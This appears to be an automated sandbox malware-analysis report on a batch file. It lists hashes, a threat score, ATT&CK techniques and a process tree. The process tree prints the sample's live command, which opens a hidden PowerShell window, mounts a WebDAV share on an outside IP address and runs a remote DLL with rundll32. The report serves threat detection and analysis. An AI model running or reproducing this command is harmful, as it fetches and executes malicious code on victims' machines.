2ed4235f1a6f7eac152fe4a2d696dc9e3ff6044a83fc8a4bcc0ebdb5af481524

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
13-07-2024 23:36

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General

Target

80934926236102842.bat
Size

2KB
MD5

43809af11a26aaec4ea8deb6cdac0a34
SHA1

f45b922a798b059dcf80577364a791c4285f8a6f
SHA256

2ed4235f1a6f7eac152fe4a2d696dc9e3ff6044a83fc8a4bcc0ebdb5af481524
SHA512

9d5ad53a8da0eb6c6d68339777aff19172ae7e74361296910f0d1338de8bb20e27412c5d43196d720bb26cfe9c775602219c8827e99065d6a326e36d57450778

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2456	wordpad.exe
2456	wordpad.exe
2456	wordpad.exe
2456	wordpad.exe
2456	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 2456	996	cmd.exe	32
PID 996 wrote to memory of 2456	996	cmd.exe	32
PID 996 wrote to memory of 2456	996	cmd.exe	32
PID 996 wrote to memory of 2740	996	cmd.exe	33
PID 996 wrote to memory of 2740	996	cmd.exe	33
PID 996 wrote to memory of 2740	996	cmd.exe	33
PID 2740 wrote to memory of 2952	2740	powershell.exe	35
PID 2740 wrote to memory of 2952	2740	powershell.exe	35
PID 2740 wrote to memory of 2952	2740	powershell.exe	35
PID 2740 wrote to memory of 2944	2740	powershell.exe	36
PID 2740 wrote to memory of 2944	2740	powershell.exe	36
PID 2740 wrote to memory of 2944	2740	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\80934926236102842.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:996
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3483.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2952
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3483.dll entry
    3⤵
    PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2740-23-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2740-24-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download